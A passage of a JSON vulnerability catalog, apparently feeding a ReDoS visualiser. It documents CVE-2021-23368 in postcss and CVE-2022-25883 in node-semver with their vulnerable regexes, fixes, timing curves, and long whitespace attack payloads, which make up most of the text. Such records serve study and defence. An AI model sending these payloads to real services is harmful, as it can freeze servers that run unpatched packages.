0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20!","verification":{"engine":"node v22.23.1","benign_ms":0.1,"curve":[{"input_length":2501,"pumps":2500,"ms":7.5,"timed_out":false},{"input_length":5001,"pumps":5000,"ms":29.38,"timed_out":false},{"input_length":10001,"pumps":10000,"ms":115.62,"timed_out":false},{"input_length":20001,"pumps":20000,"ms":465.89,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"postcss-CVE-2021-23368","name":"postcss","type":"cve","cve":"CVE-2021-23368","ghsa":"GHSA-hwj9-h5mp-3pm3","cwe":"CWE-400","ecosystem":"npm","engine":"javascript","package":"postcss","affected":">=7.0.0 <7.0.36 || >=8.0.0 <8.2.10","patched":"8.2.10","published":"2021-05-10","discovered_by":"Anas Elha; reported via GitHub advisory","regex":"\\/\\*\\s*# sourceMappingURL=(.*)\\s*\\*\\/","flags":"","complexity":"quadratic","attack":{"prefix":"/*# sourceMappingURL=","pad":" ","suffix":"!"},"benign":"/*# sourceMappingURL=data:app.map */","fix":{"type":"regex-rewrite","summary":"postcss parsed inline source-map annotations in `lib/previous-map.js` with `/\\/\\*\\s*# sourceMappingURL=(.*)\\s*\\*\\//`. The greedy `(.*)` and the adjacent `\\s*` both match whitespace, so on a comment whose sourceMappingURL is followed by a long run of whitespace that never reaches the closing `*/`, the two overlapping quantifiers split the whitespace run ambiguously and the engine retries every partition before failing: O(n^2). postcss 8.2.10 (and 7.0.36) removed the overlapping `\\s*` (regex becomes `(.*)\\*\\/`) and trims the captured URL in code with `.trim()`, eliminating the ambiguous split.","commit":"https://github.com/postcss/postcss/commit/8682b1e4e328432ba692bed52326e84439cec9e4"},"description":"postcss is the CSS transformation engine underlying Autoprefixer, Tailwind, cssnano and most modern front-end build toolchains, making it one of the most-installed packages in the npm ecosystem. When reading a stylesheet's inline source-map annotation, it used the regex `/\\/\\*\\s*# sourceMappingURL=(.*)\\s*\\*\\//`. Because the greedy `(.*)` capture and the following `\\s*` both consume whitespace, a crafted CSS comment of the form `/*# sourceMappingURL=` followed by a long whitespace run with no terminating `*/` causes quadratic backtracking as the engine tries every way to divide the whitespace between the two quantifiers.","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-23368","https://github.com/advisories/GHSA-hwj9-h5mp-3pm3","https://github.com/postcss/postcss/commit/8682b1e4e328432ba692bed52326e84439cec9e4"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5C%2F%5C*%5Cs*%23%20sourceMappingURL%3D(.*)%5Cs*%5C*%5C%2F&in=%2F*%23%20sourceMappingURL%3D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20!","verification":{"engine":"node v22.23.1","benign_ms":0.09,"curve":[{"input_length":2522,"pumps":2500,"ms":7.51,"timed_out":false},{"input_length":5022,"pumps":5000,"ms":28.89,"timed_out":false},{"input_length":10022,"pumps":10000,"ms":116.47,"timed_out":false},{"input_length":20022,"pumps":20000,"ms":467.21,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"semver-CVE-2022-25883","name":"node-semver","type":"cve","cve":"CVE-2022-25883","ghsa":"GHSA-c2qf-rxjj-qqgw","cwe":"CWE-1333","ecosystem":"npm","package":"semver","affected":"<7.5.2","patched":"7.5.2","published":"2023-06-21","discovered_by":"l0n3star","regex":"^((?:<|>)?=?)\\s*[v=\\s]*(0|[1-9]\\d*|x|X|\\*)(?:\\.(0|[1-9]\\d*|x|X|\\*)(?:\\.(0|[1-9]\\d*|x|X|\\*)(?:(?:-((?:0|[1-9]\\d*|\\d*[a-zA-Z-][a-zA-Z0-9-]*)(?:\\.(?:0|[1-9]\\d*|\\d*[a-zA-Z-][a-zA-Z0-9-]*))*)))?(?:\\+([0-9A-Za-z-]+(?:\\.[0-9A-Za-z-]+)*))?)?)?$","flags":"","complexity":"quadratic","attack":{"prefix":"","pad":" ","suffix":"!"},"benign":">=1.2.3","fix":{"type":"regex-rewrite","summary":"The X-range token starts with `\\s*[v=\\s]*`, so a run of leading whitespace can be split between the two adjacent whitespace-matching groups in many ways; a trailing non-version character then fails the `$` anchor and forces quadratic backtracking over every split point. semver 7.5.2 trims and length-limits the range string before this regex ever runs.","commit":"https://github.com/npm/node-semver/commit/717534ee353682f3bcf33e60a8af4292626d4441"},"description":"node-semver is npm's version-range parser and one of the most-depended-on packages in the ecosystem. Passing an attacker-controlled version or range string (e.g. via `new Range()`, `satisfies()` or `validRange()`) triggers quadratic backtracking in the X-range regex on an input that is mostly whitespace, stalling the event loop.","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-25883","https://github.com/advisories/GHSA-c2qf-rxjj-qqgw","https://github.com/npm/node-semver/pull/564"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5E((%3F%3A%3C%7C%3E)%3F%3D%3F)%5Cs*%5Bv%3D%5Cs%5D*(0%7C%5B1-9%5D%5Cd*%7Cx%7CX%7C%5C*)(%3F%3A%5C.(0%7C%5B1-9%5D%5Cd*%7Cx%7CX%7C%5C*)(%3F%3A%5C.(0%7C%5B1-9%5D%5Cd*%7Cx%7CX%7C%5C*)(%3F%3A(%3F%3A-((%3F%3A0%7C%5B1-9%5D%5Cd*%7C%5Cd*%5Ba-zA-Z-%5D%5Ba-zA-Z0-9-%5D*)(%3F%3A%5C.(%3F%3A0%7C%5B1-9%5D%5Cd*%7C%5Cd*%5Ba-zA-Z-%5D%5Ba-zA-Z0-9-%5D*))*)))%3F(%3F%3A%5C%2B(%5B0-9A-Za-z-%5D%2B(%3F%3A%5C.%5B0-9A-Za-z-%5D%2B)*))%3F)%3F)%3F%24&in=%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20